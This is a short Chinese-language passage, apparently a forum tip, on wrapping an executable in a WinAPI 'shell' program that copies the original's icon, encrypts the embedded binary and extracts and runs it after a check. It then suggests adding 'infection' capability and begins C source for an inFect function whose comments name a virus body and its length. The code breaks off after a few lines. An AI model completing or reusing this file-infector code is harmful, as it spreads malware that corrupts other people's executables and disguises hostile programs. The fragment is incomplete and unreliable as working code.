提示一點,一種最簡單的方法是,自己做一個外殼程序(Shell),然後將要運行的程序以某種方式放入到外殼程序中(比如以資源或者特定位置數據),而外殼程序可以抽取原可執行程序文件得圖標,並可修改自己的圖標與之相同。這樣一來,經過修改的程序就是 外殼程序 + 原可執行程序(已作為數據存在於外殼程序中),運行後自然先啟動外殼程序,你可以在其中加入一些權限判定的代碼,通過驗證後,外殼程序將自身中的真正可執行文件數據提取並運行。這裡面的要求是,外殼程序必須用純 WinAPI SDK 方式編寫,以減少文件體積;外殼程序應當對寫入自身的原可執行程序數據作加密處理,以防被竊取。你可以位外殼程序增加感染功能(不要做病毒哦……)等等。
/****************************************************************************
Function Name : inFect
Function : 感染文件
Parement : char *strFile 文件名
char *strSource 病毒體
DWord dwSourceSize 病毒體長度
Return : if sUCcess return 1,else return 0;
*****************************************************************************/
int inFect(WIN32_FIND_DATA _lpFindFileData,char *strSource,DWORD dwSourceSize){
HANDLE hSearchFile=NULL;
DWORD dwSearchFileSize=0;
char VirusFlag[10]={'